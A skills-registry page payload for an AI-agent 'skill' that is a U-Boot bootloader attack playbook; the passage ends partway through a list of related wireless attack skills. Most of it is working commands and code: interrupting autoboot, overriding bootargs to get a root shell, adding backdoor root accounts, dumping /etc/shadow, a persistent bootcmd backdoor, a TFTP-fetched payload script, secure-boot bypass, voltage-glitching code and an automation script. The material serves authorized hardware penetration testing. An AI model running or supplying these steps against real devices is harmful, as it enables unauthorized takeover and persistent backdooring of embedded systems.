[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EJC4AXCMS0VQ7JSXVJW121":3,"skill-same:01M7EJC4AXCMS0VQ7JSXVJW121":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7EJC4AXCMS0VQ7JSXVJW121","bootloader-uboot",null,"U-Boot bootloader attack playbook — console interrupt to break the autoboot countdown, environment variable inspection and manipulation, bootargs override to spawn init=\u002Fbin\u002Fsh, secure-boot bypass techniques, and fault-injection basics (voltage and clock glitching). Covers MIPS, ARM, and AArch64 targets.","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fiot\u002Fbootloader-uboot\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: bootloader-uboot\ndescription: U-Boot bootloader attack playbook — console interrupt to break the autoboot countdown, environment variable inspection and manipulation, bootargs override to spawn init=\u002Fbin\u002Fsh, secure-boot bypass techniques, and fault-injection basics (voltage and clock glitching). Covers MIPS, ARM, and AArch64 targets.\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: iot\n  when_to_use: U-Boot, uboot, bootloader, autoboot, printenv, setenv, bootargs, init=\u002Fbin\u002Fsh, secure boot bypass, fault injection, glitching, boot console, UART bootloader, embedded Linux boot\n  tags: iot, uboot, bootloader, uart, console, secure-boot, fault-injection, glitching, embedded, linux-boot\n  mitre_attack: T1542.005, T1542.003, T1601.001\n---\n\n# U-Boot Bootloader Attack\n\n> U-Boot is the dominant open-source bootloader for embedded Linux devices.\n> A UART console with an unpatched autoboot allows complete OS compromise\n> without touching the running filesystem: override `bootargs`, pass\n> `init=\u002Fbin\u002Fsh`, and land a root shell before `init` starts.\n\n## Prerequisites\n\n- UART console connected (see `firmware-acquisition` skill, Tier 1).\n- Serial terminal: `screen \u002Fdev\u002FttyUSB0 115200` or `picocom -b 115200 \u002Fdev\u002FttyUSB0`.\n- Physical access to power-cycle the device.\n- Tools (optional, for scripted attacks): `minicom`, `expect`, `python3-serial`.\n\n---\n\n## Phase 1 — Console Interrupt\n\n### 1a. Manual interrupt\n\n```\n1. Open serial terminal BEFORE powering device.\n2. Apply power.\n3. Watch for U-Boot banner:\n     U-Boot 2020.01 (Jan 01 2020)\n     ...\n     Hit any key to stop autoboot: 3 2 1\n4. Press any key (spacebar reliable) during countdown to get '=>' prompt.\n```\n\nIf autoboot completes before interrupt: power-cycle and try again. Some\ndevices accept keys up to 500ms before the countdown appears.\n\n### 1b. When autoboot_delay is 0 or password-protected\n\n```bash\n# Approach A: Interrupt via UART break signal (before U-Boot banner)\npython3 -c \"\nimport serial, time\ns = serial.Serial('\u002Fdev\u002FttyUSB0', 115200)\ns.send_break(duration=0.5)\ntime.sleep(0.1)\ns.write(b'\\r\\n')\nprint(s.read(200))\"\n\n# Approach B: Hardware glitch to reset autoboot timer (see Phase 5)\n\n# Approach C: Some vendors compile with CONFIG_AUTOBOOT_KEYED_CTRLC=y\n#   Try: Ctrl+C, then 'adc', then model-specific passwords\n#   Common: 'aDm1n+' '3008' 'anko' 'GM8182' 'realtekk' 'password'\n```\n\n---\n\n## Phase 2 — Environment Inspection\n\n```bash\n# At U-Boot => prompt:\n\n# Print ALL environment variables\nprintenv\n\n# Key variables to examine:\n# bootargs    = kernel command line (target for init override)\n# bootcmd     = boot command sequence (target for persistence)\n# ipaddr      = device IP (useful for TFTP)\n# serverip    = TFTP server IP\n# netmask     = subnet mask\n# mtdparts    = flash partition map (offsets for SPI dump \u002F write)\n# fdtcontroladdr = FDT address (check secure-boot flags here)\n```\n\n### 2a. Flash partition map extraction\n\n```\n=> mtdparts\n=> flinfo           # (older U-Boot) detailed partition info\n=> cat \u002Fproc\u002Fmtd    # (from Linux, if booting fails) — compare with mtdparts\n```\n\nExpected output example:\n```\nmtdparts=spi0.0:256k(u-boot),64k(u-boot-env),64k(factory),2048k(kernel),5888k(rootfs),-(storage)\n```\n\n---\n\n## Phase 3 — bootargs Override → init=\u002Fbin\u002Fsh\n\nThis is the primary exploitation primitive: replace the kernel init process\nwith a root shell before any authentication or privilege separation occurs.\n\n```bash\n# Inspect current bootargs\n=> printenv bootargs\n# Example: root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd\n\n# Override: append init=\u002Fbin\u002Fsh (or replace init entirely)\n=> setenv bootargs \"root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd init=\u002Fbin\u002Fsh\"\n\n# Boot with modified args (trigger the original bootcmd)\n=> run bootcmd\n\n# Alternative: load kernel manually and boot with setenv bootargs\n=> tftpboot 0x80000000 uImage\n=> setenv bootargs \"root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 init=\u002Fbin\u002Fsh\"\n=> bootm 0x80000000\n```\n\nOnce the kernel drops to `\u002Fbin\u002Fsh`:\n```bash\n# Remount rootfs read-write\nmount -o remount,rw \u002F\n# Add backdoor account\necho 'backdoor:x:0:0:root:\u002Froot:\u002Fbin\u002Fsh' >> \u002Fetc\u002Fpasswd\n# Set password\npasswd backdoor    # or directly edit shadow\n# Or extract \u002Fetc\u002Fshadow for offline crack\ncat \u002Fetc\u002Fshadow\n```\n\n### 3a. Single-user mode (alternative)\n\n```bash\n# Append 'single' or 'S' to bootargs for systemd\u002FSysV init single-user mode\n=> setenv bootargs \"${bootargs} single\"\n=> run bootcmd\n```\n\n---\n\n## Phase 4 — Persistent Environment Modification\n\n```bash\n# Save modified environment to flash (survives reboot)\n=> saveenv\n# Warning: only do this if persistence is in RoE scope.\n# Revert with:\n=> setenv bootcmd \"\u003Coriginal_value>\"\n=> saveenv\n\n# Add persistent backdoor via bootcmd (executes on every boot)\n=> setenv bootcmd \"run addbackdoor; run origbootcmd\"\n=> setenv addbackdoor \"run bootargs; echo 'backdoor::0:0::\u002F:\u002Fbin\u002Fsh' >> \u002Fetc\u002Fpasswd\"\n# NOTE: >> redirect not available in all U-Boot versions; use fatwrite \u002F ext4write instead\n\n# Persist via TFTP-loaded script\n=> setenv serverip 192.168.1.10\n=> setenv ipaddr 192.168.1.100\n=> tftpboot 0x80000000 payload.scr\n=> source 0x80000000\n```\n\n---\n\n## Phase 5 — Secure Boot Bypass\n\n### 5a. Identify secure boot configuration\n\n```bash\n# At U-Boot prompt:\n=> printenv secure_boot  # vendor-specific variable name\n=> bdinfo                # board info, check CPU flags\n=> fuse status           # (i.MX targets) read eFuse state\n=> hab_status            # i.MX HAB (High Assurance Boot) status\n```\n\n### 5b. FDT (Device Tree) manipulation\n\n```bash\n# Load FDT and inspect secure-boot flag\n=> fdt addr 0x84000000\n=> fdt list \u002F\n=> fdt print \u002Fchosen     # often contains kernel cmdline + secure flags\n# Override secure-boot flag in FDT if not eFuse-locked:\n=> fdt set \u002Fchosen secure_boot \u003C0>\n```\n\n### 5c. Rollback attack (firmware downgrade)\n\n```bash\n# U-Boot environment may expose update URL or version check\n=> printenv | grep -i \"version\\|rollback\\|fw_\"\n# If firmware version check is in env, not eFuse:\n=> setenv fw_version 0\n=> run upgrade_check     # may allow older (unpatched) firmware load\n```\n\n### 5d. Bootloader replacement via TFTP (if no verified boot)\n\n```bash\n# Flash an unsigned \u002F patched U-Boot (only if RoE permits flash writes)\n=> tftpboot 0x80000000 u-boot.bin\n=> sf probe\n=> sf erase 0x0 0x40000\n=> sf write 0x80000000 0x0 0x40000\n# Risk: brick if image is wrong size\u002Foffset — verify mtdparts first\n```\n\n---\n\n## Phase 6 — Fault Injection (Voltage \u002F Clock Glitching)\n\nFault injection bypasses secure-boot signature checks by corrupting the\nCPU instruction stream during the signature verification window.\n\n### 6a. ChipWhisperer-Nano (voltage glitching)\n\n```python\n# ChipWhisperer Python API — target: STM32F4 or similar MCU bootloader\nimport chipwhisperer as cw\n\nscope = cw.scope()\nscope.default_setup()\nscope.glitch.clk_src = \"clkgen\"\nscope.glitch.output = \"glitch_only\"\nscope.glitch.trigger_src = \"ext_single\"\nscope.glitch.width = 24       # tune: 10-50 for most Cortex-M targets\nscope.glitch.offset = 1200    # tune: trigger offset from reset release\nscope.io.glitch_hp = True\n\ntarget = cw.target(scope)\nscope.arm()\n# Power-cycle target; glitch fires at offset, corrupting signature check\nret = scope.capture()\nresp = target.read(100)\nprint(resp)  # 'BOOT OK' or similar = bypass success\n```\n\n### 6b. Raspberry Pi clock glitcher (low-cost alternative)\n\n```bash\n# pigpio-based clock glitch on GPIO-connected CLK line\n# https:\u002F\u002Fgithub.com\u002Fnstarke\u002Fraspberry-pi-glitcher\npython3 glitch.py --offset 1000 --width 50 --pin 18\n```\n\n### 6c. Manual crowbar glitch (bench power supply)\n\n```\n1. Identify VCC_CORE rail (typically 1.0–1.2 V for application processor).\n2. Place 10 Ω resistor + MOSFET crowbar on VCC_CORE rail.\n3. Trigger MOSFET via microcontroller at measured delay after reset release.\n4. Iterate offset + duration until signature check returns True (CPU skipped\n   the branch-if-fail or corrupted the RSA modulus comparison).\n```\n\n---\n\n## Scripted Autoboot Interrupt (Python)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Automated U-Boot console interrupt + bootargs override.\"\"\"\nimport serial, time, sys\n\nPORT = \"\u002Fdev\u002FttyUSB0\"\nBAUD = 115200\nINIT_OVERRIDE = \"init=\u002Fbin\u002Fsh\"\n\ns = serial.Serial(PORT, BAUD, timeout=2)\nprint(\"[*] Waiting for U-Boot banner...\")\n\nbuffer = b\"\"\nwhile b\"autoboot\" not in buffer.lower() and b\"stop autoboot\" not in buffer.lower():\n    chunk = s.read(256)\n    buffer += chunk\n    sys.stdout.buffer.write(chunk)\n    sys.stdout.buffer.flush()\n\nprint(\"\\n[*] Sending interrupt...\")\nfor _ in range(10):\n    s.write(b\" \")\n    time.sleep(0.05)\n\ntime.sleep(0.3)\nresponse = s.read(256)\nif b\"=>\" not in response:\n    print(\"[-] No U-Boot prompt — try manual interrupt\")\n    sys.exit(1)\n\nprint(\"[+] U-Boot prompt obtained\")\ns.write(b\"printenv bootargs\\r\\n\"); time.sleep(0.3)\nba = s.read(512).decode(errors=\"replace\")\nprint(ba)\n\n# Extract existing bootargs line\nfor line in ba.splitlines():\n    if line.startswith(\"bootargs=\"):\n        orig = line[len(\"bootargs=\"):]\n        break\n\nnew_args = orig.rstrip() + f\" {INIT_OVERRIDE}\"\ns.write(f'setenv bootargs \"{new_args}\"\\r\\n'.encode()); time.sleep(0.3)\ns.write(b\"run bootcmd\\r\\n\")\nprint(f\"[+] Sent: setenv bootargs with {INIT_OVERRIDE}\")\nprint(\"[*] Booting — watch terminal for \u002Fbin\u002Fsh prompt\")\n```\n\n---\n\n## Evidence\n\n```bash\nEVDIR=\u002Fworkspace\u002Fevidence\u002Fiot\u002F\u003Ctarget>\u002Fbootloader\nmkdir -p \"$EVDIR\"\n# Capture full printenv output\ntee \"$EVDIR\u002Fuboot_env.txt\"    # pipe terminal session output\n# Document the bootargs override chain\necho \"bootargs override: init=\u002Fbin\u002Fsh appended; root shell obtained at $(date -u +%FT%TZ)\" \\\n    >> \"$EVDIR\u002Fnotes.txt\"\n```\n\n## OPSEC Notes\n\n- `saveenv` writes to flash and is persistent — only use if persistence is\n  explicitly in scope. Failing to revert leaves a modified device.\n- Voltage glitching can permanently damage the target SoC. Use on expendable\n  test units; not on production hardware without explicit authorization.\n- HAB-enabled i.MX targets log boot failures to a one-time-programmable counter;\n  excessive failed attempts may lock the device permanently.\n- Some vendors monitor UART console activity via cloud telemetry — confirm\n  the device is air-gapped or network-isolated before console work.\n\n## References\n\n- U-Boot command reference: `https:\u002F\u002Fu-boot.readthedocs.io\u002Fen\u002Flatest\u002Fusage\u002Findex.html`\n- ChipWhisperer-Nano: `https:\u002F\u002Frtfm.newae.com\u002FCapture\u002FChipWhisperer-Nano\u002F`\n- i.MX HAB (secure boot): `https:\u002F\u002Fdocs.nxp.com\u002Fbundle\u002FAN4581`\n- Fault injection fundamentals: `https:\u002F\u002Ftches.iacr.org\u002Findex.php\u002FTCHES\u002Farticle\u002Fview\u002F7390`\n- practical-iot-hacking (No Starch): Chapter 9 — U-Boot attacks\n","# U-Boot Bootloader Attack\n\n> U-Boot is the dominant open-source bootloader for embedded Linux devices.\n> A UART console with an unpatched autoboot allows complete OS compromise\n> without touching the running filesystem: override `bootargs`, pass\n> `init=\u002Fbin\u002Fsh`, and land a root shell before `init` starts.\n\n## Prerequisites\n\n- UART console connected (see `firmware-acquisition` skill, Tier 1).\n- Serial terminal: `screen \u002Fdev\u002FttyUSB0 115200` or `picocom -b 115200 \u002Fdev\u002FttyUSB0`.\n- Physical access to power-cycle the device.\n- Tools (optional, for scripted attacks): `minicom`, `expect`, `python3-serial`.\n\n---\n\n## Phase 1 — Console Interrupt\n\n### 1a. Manual interrupt\n\n```\n1. Open serial terminal BEFORE powering device.\n2. Apply power.\n3. Watch for U-Boot banner:\n     U-Boot 2020.01 (Jan 01 2020)\n     ...\n     Hit any key to stop autoboot: 3 2 1\n4. Press any key (spacebar reliable) during countdown to get '=>' prompt.\n```\n\nIf autoboot completes before interrupt: power-cycle and try again. Some\ndevices accept keys up to 500ms before the countdown appears.\n\n### 1b. When autoboot_delay is 0 or password-protected\n\n```bash\n# Approach A: Interrupt via UART break signal (before U-Boot banner)\npython3 -c \"\nimport serial, time\ns = serial.Serial('\u002Fdev\u002FttyUSB0', 115200)\ns.send_break(duration=0.5)\ntime.sleep(0.1)\ns.write(b'\\r\\n')\nprint(s.read(200))\"\n\n# Approach B: Hardware glitch to reset autoboot timer (see Phase 5)\n\n# Approach C: Some vendors compile with CONFIG_AUTOBOOT_KEYED_CTRLC=y\n#   Try: Ctrl+C, then 'adc', then model-specific passwords\n#   Common: 'aDm1n+' '3008' 'anko' 'GM8182' 'realtekk' 'password'\n```\n\n---\n\n## Phase 2 — Environment Inspection\n\n```bash\n# At U-Boot => prompt:\n\n# Print ALL environment variables\nprintenv\n\n# Key variables to examine:\n# bootargs    = kernel command line (target for init override)\n# bootcmd     = boot command sequence (target for persistence)\n# ipaddr      = device IP (useful for TFTP)\n# serverip    = TFTP server IP\n# netmask     = subnet mask\n# mtdparts    = flash partition map (offsets for SPI dump \u002F write)\n# fdtcontroladdr = FDT address (check secure-boot flags here)\n```\n\n### 2a. Flash partition map extraction\n\n```\n=> mtdparts\n=> flinfo           # (older U-Boot) detailed partition info\n=> cat \u002Fproc\u002Fmtd    # (from Linux, if booting fails) — compare with mtdparts\n```\n\nExpected output example:\n```\nmtdparts=spi0.0:256k(u-boot),64k(u-boot-env),64k(factory),2048k(kernel),5888k(rootfs),-(storage)\n```\n\n---\n\n## Phase 3 — bootargs Override → init=\u002Fbin\u002Fsh\n\nThis is the primary exploitation primitive: replace the kernel init process\nwith a root shell before any authentication or privilege separation occurs.\n\n```bash\n# Inspect current bootargs\n=> printenv bootargs\n# Example: root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd\n\n# Override: append init=\u002Fbin\u002Fsh (or replace init entirely)\n=> setenv bootargs \"root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 noinitrd init=\u002Fbin\u002Fsh\"\n\n# Boot with modified args (trigger the original bootcmd)\n=> run bootcmd\n\n# Alternative: load kernel manually and boot with setenv bootargs\n=> tftpboot 0x80000000 uImage\n=> setenv bootargs \"root=\u002Fdev\u002Fmtdblock3 rootfstype=squashfs console=ttyS0,115200 init=\u002Fbin\u002Fsh\"\n=> bootm 0x80000000\n```\n\nOnce the kernel drops to `\u002Fbin\u002Fsh`:\n```bash\n# Remount rootfs read-write\nmount -o remount,rw \u002F\n# Add backdoor account\necho 'backdoor:x:0:0:root:\u002Froot:\u002Fbin\u002Fsh' >> \u002Fetc\u002Fpasswd\n# Set password\npasswd backdoor    # or directly edit shadow\n# Or extract \u002Fetc\u002Fshadow for offline crack\ncat \u002Fetc\u002Fshadow\n```\n\n### 3a. Single-user mode (alternative)\n\n```bash\n# Append 'single' or 'S' to bootargs for systemd\u002FSysV init single-user mode\n=> setenv bootargs \"${bootargs} single\"\n=> run bootcmd\n```\n\n---\n\n## Phase 4 — Persistent Environment Modification\n\n```bash\n# Save modified environment to flash (survives reboot)\n=> saveenv\n# Warning: only do this if persistence is in RoE scope.\n# Revert with:\n=> setenv bootcmd \"\u003Coriginal_value>\"\n=> saveenv\n\n# Add persistent backdoor via bootcmd (executes on every boot)\n=> setenv bootcmd \"run addbackdoor; run origbootcmd\"\n=> setenv addbackdoor \"run bootargs; echo 'backdoor::0:0::\u002F:\u002Fbin\u002Fsh' >> \u002Fetc\u002Fpasswd\"\n# NOTE: >> redirect not available in all U-Boot versions; use fatwrite \u002F ext4write instead\n\n# Persist via TFTP-loaded script\n=> setenv serverip 192.168.1.10\n=> setenv ipaddr 192.168.1.100\n=> tftpboot 0x80000000 payload.scr\n=> source 0x80000000\n```\n\n---\n\n## Phase 5 — Secure Boot Bypass\n\n### 5a. Identify secure boot configuration\n\n```bash\n# At U-Boot prompt:\n=> printenv secure_boot  # vendor-specific variable name\n=> bdinfo                # board info, check CPU flags\n=> fuse status           # (i.MX targets) read eFuse state\n=> hab_status            # i.MX HAB (High Assurance Boot) status\n```\n\n### 5b. FDT (Device Tree) manipulation\n\n```bash\n# Load FDT and inspect secure-boot flag\n=> fdt addr 0x84000000\n=> fdt list \u002F\n=> fdt print \u002Fchosen     # often contains kernel cmdline + secure flags\n# Override secure-boot flag in FDT if not eFuse-locked:\n=> fdt set \u002Fchosen secure_boot \u003C0>\n```\n\n### 5c. Rollback attack (firmware downgrade)\n\n```bash\n# U-Boot environment may expose update URL or version check\n=> printenv | grep -i \"version\\|rollback\\|fw_\"\n# If firmware version check is in env, not eFuse:\n=> setenv fw_version 0\n=> run upgrade_check     # may allow older (unpatched) firmware load\n```\n\n### 5d. Bootloader replacement via TFTP (if no verified boot)\n\n```bash\n# Flash an unsigned \u002F patched U-Boot (only if RoE permits flash writes)\n=> tftpboot 0x80000000 u-boot.bin\n=> sf probe\n=> sf erase 0x0 0x40000\n=> sf write 0x80000000 0x0 0x40000\n# Risk: brick if image is wrong size\u002Foffset — verify mtdparts first\n```\n\n---\n\n## Phase 6 — Fault Injection (Voltage \u002F Clock Glitching)\n\nFault injection bypasses secure-boot signature checks by corrupting the\nCPU instruction stream during the signature verification window.\n\n### 6a. ChipWhisperer-Nano (voltage glitching)\n\n```python\n# ChipWhisperer Python API — target: STM32F4 or similar MCU bootloader\nimport chipwhisperer as cw\n\nscope = cw.scope()\nscope.default_setup()\nscope.glitch.clk_src = \"clkgen\"\nscope.glitch.output = \"glitch_only\"\nscope.glitch.trigger_src = \"ext_single\"\nscope.glitch.width = 24       # tune: 10-50 for most Cortex-M targets\nscope.glitch.offset = 1200    # tune: trigger offset from reset release\nscope.io.glitch_hp = True\n\ntarget = cw.target(scope)\nscope.arm()\n# Power-cycle target; glitch fires at offset, corrupting signature check\nret = scope.capture()\nresp = target.read(100)\nprint(resp)  # 'BOOT OK' or similar = bypass success\n```\n\n### 6b. Raspberry Pi clock glitcher (low-cost alternative)\n\n```bash\n# pigpio-based clock glitch on GPIO-connected CLK line\n# https:\u002F\u002Fgithub.com\u002Fnstarke\u002Fraspberry-pi-glitcher\npython3 glitch.py --offset 1000 --width 50 --pin 18\n```\n\n### 6c. Manual crowbar glitch (bench power supply)\n\n```\n1. Identify VCC_CORE rail (typically 1.0–1.2 V for application processor).\n2. Place 10 Ω resistor + MOSFET crowbar on VCC_CORE rail.\n3. Trigger MOSFET via microcontroller at measured delay after reset release.\n4. Iterate offset + duration until signature check returns True (CPU skipped\n   the branch-if-fail or corrupted the RSA modulus comparison).\n```\n\n---\n\n## Scripted Autoboot Interrupt (Python)\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"Automated U-Boot console interrupt + bootargs override.\"\"\"\nimport serial, time, sys\n\nPORT = \"\u002Fdev\u002FttyUSB0\"\nBAUD = 115200\nINIT_OVERRIDE = \"init=\u002Fbin\u002Fsh\"\n\ns = serial.Serial(PORT, BAUD, timeout=2)\nprint(\"[*] Waiting for U-Boot banner...\")\n\nbuffer = b\"\"\nwhile b\"autoboot\" not in buffer.lower() and b\"stop autoboot\" not in buffer.lower():\n    chunk = s.read(256)\n    buffer += chunk\n    sys.stdout.buffer.write(chunk)\n    sys.stdout.buffer.flush()\n\nprint(\"\\n[*] Sending interrupt...\")\nfor _ in range(10):\n    s.write(b\" \")\n    time.sleep(0.05)\n\ntime.sleep(0.3)\nresponse = s.read(256)\nif b\"=>\" not in response:\n    print(\"[-] No U-Boot prompt — try manual interrupt\")\n    sys.exit(1)\n\nprint(\"[+] U-Boot prompt obtained\")\ns.write(b\"printenv bootargs\\r\\n\"); time.sleep(0.3)\nba = s.read(512).decode(errors=\"replace\")\nprint(ba)\n\n# Extract existing bootargs line\nfor line in ba.splitlines():\n    if line.startswith(\"bootargs=\"):\n        orig = line[len(\"bootargs=\"):]\n        break\n\nnew_args = orig.rstrip() + f\" {INIT_OVERRIDE}\"\ns.write(f'setenv bootargs \"{new_args}\"\\r\\n'.encode()); time.sleep(0.3)\ns.write(b\"run bootcmd\\r\\n\")\nprint(f\"[+] Sent: setenv bootargs with {INIT_OVERRIDE}\")\nprint(\"[*] Booting — watch terminal for \u002Fbin\u002Fsh prompt\")\n```\n\n---\n\n## Evidence\n\n```bash\nEVDIR=\u002Fworkspace\u002Fevidence\u002Fiot\u002F\u003Ctarget>\u002Fbootloader\nmkdir -p \"$EVDIR\"\n# Capture full printenv output\ntee \"$EVDIR\u002Fuboot_env.txt\"    # pipe terminal session output\n# Document the bootargs override chain\necho \"bootargs override: init=\u002Fbin\u002Fsh appended; root shell obtained at $(date -u +%FT%TZ)\" \\\n    >> \"$EVDIR\u002Fnotes.txt\"\n```\n\n## OPSEC Notes\n\n- `saveenv` writes to flash and is persistent — only use if persistence is\n  explicitly in scope. Failing to revert leaves a modified device.\n- Voltage glitching can permanently damage the target SoC. Use on expendable\n  test units; not on production hardware without explicit authorization.\n- HAB-enabled i.MX targets log boot failures to a one-time-programmable counter;\n  excessive failed attempts may lock the device permanently.\n- Some vendors monitor UART console activity via cloud telemetry — confirm\n  the device is air-gapped or network-isolated before console work.\n\n## References\n\n- U-Boot command reference: `https:\u002F\u002Fu-boot.readthedocs.io\u002Fen\u002Flatest\u002Fusage\u002Findex.html`\n- ChipWhisperer-Nano: `https:\u002F\u002Frtfm.newae.com\u002FCapture\u002FChipWhisperer-Nano\u002F`\n- i.MX HAB (secure boot): `https:\u002F\u002Fdocs.nxp.com\u002Fbundle\u002FAN4581`\n- Fault injection fundamentals: `https:\u002F\u002Ftches.iacr.org\u002Findex.php\u002FTCHES\u002Farticle\u002Fview\u002F7390`\n- practical-iot-hacking (No Starch): Chapter 9 — U-Boot attacks\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"iot, uboot, bootloader, uart, console, secure-boot, fault-injection, glitching, embedded, linux-boot","iot","U-Boot, uboot, bootloader, autoboot, printenv, setenv, bootargs, init=\u002Fbin\u002Fsh, secure boot bypass, fault injection, glitching, boot console, UART bootloader, embedded Linux boot","T1542.005, T1542.003, T1601.001","Bash Read Write","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fiot\u002Fbootloader-uboot",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill bootloader-uboot",{"tool":43,"command":44},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill bootloader-uboot",{"tool":46,"command":47},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill bootloader-uboot","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fiot\u002Fbootloader-uboot\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch 